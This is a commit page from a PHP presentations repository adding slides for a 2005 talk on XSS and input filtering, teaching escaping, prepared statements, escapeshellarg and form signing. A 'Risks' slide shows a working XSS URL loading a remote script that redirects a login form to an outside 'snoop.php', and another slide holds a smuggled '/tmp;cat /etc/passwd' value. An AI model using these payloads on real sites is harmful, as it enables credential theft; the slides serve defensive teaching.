mirror of
https://github.com/php/presentations.git
synced 2026-03-23 23:22:22 +01:00
XSS slides
This commit is contained in:
76
slides/intro/ajax.xml
Normal file
76
slides/intro/ajax.xml
Normal file
@@ -0,0 +1,76 @@
|
||||
<slide title="Ajax in 90 seconds">
|
||||
<break lines="1" />
|
||||
<image filename="ajax.png" align="center" />
|
||||
<example title="rpc.js" fontsize="1.75em" marginright="0em"><![CDATA[function createRequestObject() {
|
||||
var ro;
|
||||
ro = window.XMLHttpRequest
|
||||
? new XMLHttpRequest() :
|
||||
new ActiveXObject("Microsoft.XMLHTTP");
|
||||
return ro;
|
||||
}
|
||||
|
||||
var http = createRequestObject();
|
||||
|
||||
function sndReq(action) {
|
||||
http.open('get', 'rpc.php?action='+action);
|
||||
http.onreadystatechange = handleResponse;
|
||||
http.send(null);
|
||||
}
|
||||
|
||||
function handleResponse() {
|
||||
if(http.readyState == 4){
|
||||
var response = http.responseText;
|
||||
var update = new Array();
|
||||
|
||||
if(response.indexOf('|') != -1) {
|
||||
update = response.split('|');
|
||||
document.getElementById(update[0]).innerHTML = update[1];
|
||||
}
|
||||
}
|
||||
}]]></example>
|
||||
|
||||
<blurb>
|
||||
This creates a request object along with a send request and handle
|
||||
response function. So to actually use it, you could include this js in
|
||||
your page. Then to make one of these backend requests you would tie it
|
||||
to something. Like an onclick event or a straight href like this:
|
||||
</blurb>
|
||||
|
||||
<example fontsize="2em" marginright="0em"><![CDATA[ <a href="javascript:sndReq('foo')">[foo]</a>]]></example>
|
||||
|
||||
<blurb>That means that when someone clicks on that link what actually happens
|
||||
is that a backend request to rpc.php?action=foo will be sent.</blurb>
|
||||
|
||||
<example title="rpc.php" marginright="0em"><![CDATA[<?php
|
||||
switch($_REQUEST['action']) {
|
||||
case 'foo':
|
||||
/* do something */
|
||||
echo "foo|foo done";
|
||||
break;
|
||||
...
|
||||
}
|
||||
?>]]></example>
|
||||
<blurb>
|
||||
Now, look at handleResponse. It parses the "foo|foo done" string and
|
||||
splits it on the '|' and uses whatever is before the '|' as the dom
|
||||
element id in your page and the part after as the new innerHTML of that
|
||||
element. That means if you have a div tag like this in your page:
|
||||
</blurb>
|
||||
<example marginright="45em"><![CDATA[<div id="foo">
|
||||
</div>]]></example>
|
||||
|
||||
<blurb>Once you click on that link, that will dynamically be changed to:</blurb>
|
||||
|
||||
<example marginright="45em"><![CDATA[<div id="foo">
|
||||
foo done
|
||||
</div>]]></example>
|
||||
|
||||
<blurb>Expanding this approach a bit to send multiple parameters in the
|
||||
request, for example, would be really simple. Something like:</blurb>
|
||||
|
||||
<example fontsize="1.9em"><![CDATA[function sndReqArg(action,arg) {
|
||||
http.open('get', 'rpc.php?action='+action+'&arg='+arg);
|
||||
http.onreadystatechange = handleResponse;
|
||||
http.send(null);
|
||||
}]]></example>
|
||||
</slide>
|
||||
@@ -1,28 +1,17 @@
|
||||
<slide title="Input Filtering - Future">
|
||||
<slide title="pecl/filter">
|
||||
|
||||
<image filename="spoon.jpg" align="right" />
|
||||
<break lines="7" />
|
||||
<break lines="2" />
|
||||
|
||||
<blurb>
|
||||
Nobody is going to use that hook! People don't seem to understand how
|
||||
to filter their input. We'll need to spoonfeed again.
|
||||
</blurb>
|
||||
<example title="Config"><![CDATA[input_filter.paranoid_admin_default_filter = stripped]]></example>
|
||||
|
||||
<break lines="6" />
|
||||
<example title="API" marginleft="1em" marginright="0em"><![CDATA[<?php
|
||||
$email = input_get(INPUT_POST, 'name', FS_EMAIL);
|
||||
$age = input_get(INPUT_POST, 'age', FS_NUMBER_INT);
|
||||
$url = input_get(INPUT_COOKIE, 'url', FS_URL);
|
||||
$raw_msg = input_get(INPUT_POST, 'msg', FS_UNSAFE_RAW);
|
||||
$options = input_array(INPUT_GET, 'options', FS_ENCODED);
|
||||
|
||||
<example title="API?"><![CDATA[<?php
|
||||
$name = filter(POST, 'name'); /* Default filter */
|
||||
$age = filter(POST, 'age', PFILT_INTEGER);
|
||||
$addr = filter(POST, 'addr', PFILT_TEXT, 'UTF-8');
|
||||
$data = filter_data($user_data, FS_STRIPPED);
|
||||
?>]]></example>
|
||||
|
||||
<example title="Config"><![CDATA[input_filter.default = FILTER_TEXT
|
||||
]]></example>
|
||||
|
||||
<example title="Strip, Escape or NULL?"><![CDATA[abc;123{def}
|
||||
|
||||
abc 123 def
|
||||
abc%3B123%7Bdef%7D]]></example>
|
||||
|
||||
<blurb title="Taint Mode?"> </blurb>
|
||||
</slide>
|
||||
|
||||
4
slides/intro/offtopic_apc.xml
Normal file
4
slides/intro/offtopic_apc.xml
Normal file
@@ -0,0 +1,4 @@
|
||||
<slide title="Tangent">
|
||||
<break lines="10" />
|
||||
<blurb fontsize="18em" align="center">APC</blurb>
|
||||
</slide>
|
||||
18
slides/intro/scanmus.xml
Normal file
18
slides/intro/scanmus.xml
Normal file
@@ -0,0 +1,18 @@
|
||||
<slide title="But...">
|
||||
<break lines="1" />
|
||||
|
||||
<blurb fontsize="4em">
|
||||
Protecting against XSS and other data hacks is easy enough. The hard part is ensuring you
|
||||
haven't forgotten a case. So what can we do?
|
||||
</blurb>
|
||||
|
||||
<blurb fontsize="4em">
|
||||
One approach is to test thoroughly. Inject bad data in all possible inputs to your
|
||||
application and test the output. Easier said than done.
|
||||
</blurb>
|
||||
|
||||
<break lines="2"/>
|
||||
|
||||
<blurb fontsize="10em" align="center">Scanmus Demo</blurb>
|
||||
|
||||
</slide>
|
||||
6
slides/intro/torxss_ref.xml
Normal file
6
slides/intro/torxss_ref.xml
Normal file
@@ -0,0 +1,6 @@
|
||||
<slide title="Resources">
|
||||
<break lines="8" />
|
||||
<link fontsize="3em" marginleft="0.5em" leader="Slides: " href="http://talks.php.net/show/torxss"/>
|
||||
<link fontsize="3em" marginleft="0.5em" leader="pecl/filter: " href="http://files.derickrethans.nl/filter_extension.html"/>
|
||||
<link fontsize="3em" marginleft="0.5em" leader="APC: " href="http://pecl.php.net/package/APC"/>
|
||||
</slide>
|
||||
17
slides/intro/xss.xml
Normal file
17
slides/intro/xss.xml
Normal file
@@ -0,0 +1,17 @@
|
||||
<slide title="XSS">
|
||||
|
||||
<blurb>Never display user data back to the user unfiltered.</blurb>
|
||||
|
||||
<example title="Traditional Form Handling" result="1"><![CDATA[<form action="<?php echo $PHP_SELF?>" method="POST">
|
||||
Your name: <input type=text name=name><br>
|
||||
You age: <input type=text name=age><br>
|
||||
<input type=submit>
|
||||
</form>
|
||||
<?php
|
||||
if($_SERVER['REQUEST_METHOD']=='POST') {
|
||||
echo <<<EOB
|
||||
Hi $_POST[name], you are $_POST[age] years old.
|
||||
EOB;
|
||||
} ?>]]></example>
|
||||
|
||||
</slide>
|
||||
18
slides/intro/xss1.xml
Normal file
18
slides/intro/xss1.xml
Normal file
@@ -0,0 +1,18 @@
|
||||
<slide title="Fixing XSS">
|
||||
<break lines="1" />
|
||||
|
||||
<example title="Safe Form Handling" result="1"><![CDATA[<form action="<?php echo htmlspecialchars($PHP_SELF)?>" method="POST">
|
||||
Your name: <input type=text name=name><br>
|
||||
You age: <input type=text name=age><br>
|
||||
<input type=submit>
|
||||
</form>
|
||||
<?php
|
||||
if($_SERVER['REQUEST_METHOD']=='POST') {
|
||||
$Oname = htmlspecialchars($_POST['name']);
|
||||
$Oage = (int)$_POST['age'];
|
||||
echo <<<EOB
|
||||
Hi $Oname, you are $Oage years old.
|
||||
EOB;
|
||||
} ?>]]></example>
|
||||
|
||||
</slide>
|
||||
32
slides/intro/xss2.xml
Normal file
32
slides/intro/xss2.xml
Normal file
@@ -0,0 +1,32 @@
|
||||
<slide title="While you are at it">
|
||||
DB Injection - ? placeholder, prepare/execute, mysql_real_escape_string
|
||||
Shell Injection - escapeshellarg
|
||||
|
||||
<example title="DB" fontsize="1.5em" marginright="0em" result="0"><![CDATA[<?php
|
||||
$Dname = mysql_real_escape_string($_POST['name']);
|
||||
$Dage = (int)$_POST['age'];
|
||||
$row = mysql_query("select from users where name='$Dname' and age='$Dage'");
|
||||
?>]]></example>
|
||||
|
||||
<blurb>Or use ? parameters in PEAR::DB and PDO. PDO also supports named parameters.</blurb>
|
||||
|
||||
<example title="Named Parameters" fontsize="1.5em" marginright="0em" result="0"><![CDATA[<?php
|
||||
$pdo = new PDO('mysql:dbname=testdb');
|
||||
|
||||
$sql = 'SELECT name, colour, calories
|
||||
FROM fruit
|
||||
WHERE calories < :calories AND colour = :colour';
|
||||
$prep = $pdo->prepare($sql);
|
||||
$prep->execute(array(':calories' => 150, ':colour' => 'red'));
|
||||
$red = $prep->fetchAll();
|
||||
$prep->execute(array(':calories' => 175, ':colour' => 'yellow'));
|
||||
$yellow = $prep->fetchAll();
|
||||
?>]]></example>
|
||||
|
||||
<example title="Shell" fontsize="1.5em" marginright="0em" result="1"><![CDATA[<?php
|
||||
$_POST['name'] = "/tmp;cat /etc/passwd";
|
||||
|
||||
$Sname = escapeshellarg($_POST['name']);
|
||||
system("ls $Sname 2>&1");
|
||||
?>]]></example>
|
||||
</slide>
|
||||
25
slides/intro/xss3.xml
Normal file
25
slides/intro/xss3.xml
Normal file
@@ -0,0 +1,25 @@
|
||||
<slide title="Signing data">
|
||||
|
||||
<blurb>
|
||||
Whenever you are passing data around either in hidden form fields or cookies, it is a good idea
|
||||
to sign it to make sure you get back exactly what you generated.
|
||||
</blurb>
|
||||
|
||||
<example title="Generating the Hash" fontsize="1.6em" type="php" result="0"><![CDATA[<form action="action.php" method="POST">
|
||||
<input type="hidden" name="H[name]" value="<?php echo $Oname?>"/>
|
||||
<input type="hidden" name="H[age]" value="<?php echo $Oage?>"/>
|
||||
<?php $sign = md5('name'.$Oname.'age'.$Oage.$secret); ?>
|
||||
<input type="hidden" name="hash" value="<?php echo $sign?>"" />
|
||||
</form>]]></example>
|
||||
|
||||
<example title="Validating the Hash" fontsize="1.6em" result="0"><![CDATA[<?php
|
||||
$str = "";
|
||||
foreach($_POST['H'] as $key=>$value) {
|
||||
$str .= $key.$value;
|
||||
}
|
||||
if($_POST['hash'] != md5($str.$secret)) {
|
||||
echo "Hidden form data modified"; exit;
|
||||
}
|
||||
?>]]></example>
|
||||
|
||||
</slide>
|
||||
14
slides/intro/xss_common.xml
Normal file
14
slides/intro/xss_common.xml
Normal file
@@ -0,0 +1,14 @@
|
||||
<slide title="Common Problems">
|
||||
<break lines="2" />
|
||||
|
||||
<list fontsize="6em">
|
||||
<bullet>404 page</bullet>
|
||||
<bullet>Search Page</bullet>
|
||||
<bullet>PHP_SELF</bullet>
|
||||
<bullet>Host header </bullet>
|
||||
<bullet>$_GET, $_POST, $_COOKIE</bullet>
|
||||
<bullet>$_SERVER</bullet>
|
||||
<bullet>?var=1 vs. ?var[]=1</bullet>
|
||||
</list>
|
||||
|
||||
</slide>
|
||||
53
slides/intro/xss_risks.xml
Normal file
53
slides/intro/xss_risks.xml
Normal file
@@ -0,0 +1,53 @@
|
||||
<slide title="Risks">
|
||||
<break lines="1" />
|
||||
|
||||
<blurb fontsize="4em">Ok, that is somewhat annoying, but what can actually happen?</blurb>
|
||||
|
||||
<example title="Typical Form" fontsize="1.6em"><![CDATA[<html>
|
||||
<head><title>My Form</title></head>
|
||||
<body>
|
||||
<?php
|
||||
if($_SERVER['REQUEST_METHOD']=='POST' &&
|
||||
$_POST['id']=='rasmus' && $_POST['pwd']=='foobar') {
|
||||
echo "Welcome back ".$_POST['id'];
|
||||
} else {
|
||||
?>
|
||||
<form action="<?php echo $_SERVER['PHP_SELF']?>" method="post">
|
||||
<input type="text" name="id" />
|
||||
<input type="password" name="pwd" />
|
||||
<input type="submit" />
|
||||
</form>
|
||||
<? } ?>
|
||||
</body>
|
||||
</html>]]></example>
|
||||
|
||||
<example title="Hack" fontsize="1.5em"><![CDATA[http://localhost/form.php/%22%20method=%22POST%22%3E
|
||||
%3Cscript%20src=%22http://lerdorf.com/txss%22%3E%3C/script%3E%3Cb%20a=%22]]></example>
|
||||
|
||||
<example title="Decoded" fontsize="1.5em"><![CDATA[http://localhost/form.php/" method="POST">
|
||||
<script src="http://lerdorf.com/txss"></script><b a="]]></example>
|
||||
|
||||
<example title="Remote Javascript" type="javascript" fontsize="1.6em"><![CDATA[function a(event) {
|
||||
document.forms[0].action = "http://lerdorf.com/snoop.php";
|
||||
}
|
||||
function addLoadEvent(func) {
|
||||
var oldonload = window.onload;
|
||||
if (typeof window.onload != 'function') {
|
||||
window.onload = func;
|
||||
} else {
|
||||
window.onload = function() {
|
||||
oldonload();
|
||||
func();
|
||||
}
|
||||
}
|
||||
}
|
||||
addLoadEvent(a);]]></example>
|
||||
|
||||
<list fontsize="6em">
|
||||
<bullet> Stolen cookies</bullet>
|
||||
<bullet> Intercepted POST requests</bullet>
|
||||
<bullet> Content injection</bullet>
|
||||
<bullet> Invisible requests on behalf of user</bullet>
|
||||
</list>
|
||||
|
||||
</slide>
|
||||
7
slides/lamp/failfast.xml
Normal file
7
slides/lamp/failfast.xml
Normal file
@@ -0,0 +1,7 @@
|
||||
<slide>
|
||||
<title>Fail Fast!</title>
|
||||
<break lines="3" />
|
||||
<blurb fontsize="14em" align="center">Fail Fast</blurb>
|
||||
<blurb fontsize="14em" align="center">Fail Cheap</blurb>
|
||||
<blurb fontsize="14em" align="center">Be Lazy</blurb>
|
||||
</slide>
|
||||
40
torxss.xml
Normal file
40
torxss.xml
Normal file
@@ -0,0 +1,40 @@
|
||||
<presentation
|
||||
template="php2"
|
||||
navmode="html"
|
||||
titlecolor="#1111aa"
|
||||
navbarbackground="url(images/trans-ffffff.png)"
|
||||
logo1="images/php-med-trans-light.gif"
|
||||
titlesize="2em"
|
||||
navbarheight="4.1em"
|
||||
>
|
||||
<!--
|
||||
60 Minutes
|
||||
-->
|
||||
<topic>PHP</topic>
|
||||
<title>XSS and friends</title>
|
||||
<event>PHP|Works 2005</event>
|
||||
<location>Toronto</location>
|
||||
<date>Sep 15, 2005</date>
|
||||
<speaker>Rasmus Lerdorf</speaker>
|
||||
<email>rasmus@php.net</email>
|
||||
<url>http://talks.php.net/show/torxss</url>
|
||||
|
||||
<slide>slides/intro/titlepage.xml</slide>
|
||||
|
||||
<slide>slides/intro/xss.xml</slide>
|
||||
<slide>slides/intro/xss1.xml</slide>
|
||||
<slide>slides/intro/xss2.xml</slide>
|
||||
<slide>slides/intro/xss3.xml</slide>
|
||||
<slide>slides/intro/xss_common.xml</slide>
|
||||
<slide>slides/intro/xss_risks.xml</slide>
|
||||
<slide>slides/intro/scanmus.xml</slide>
|
||||
<slide>slides/intro/filter.xml</slide>
|
||||
<slide>slides/intro/input_filter2.xml</slide>
|
||||
|
||||
<slide>slides/intro/offtopic_apc.xml</slide>
|
||||
<slide>slides/intro/new_apc.xml</slide>
|
||||
<slide>slides/intro/php_opcode_caches3.xml</slide>
|
||||
<slide>slides/intro/php_june05_bm.xml</slide>
|
||||
|
||||
<slide>slides/intro/torxss_ref.xml</slide>
|
||||
</presentation>
|
||||
Reference in New Issue
Block a user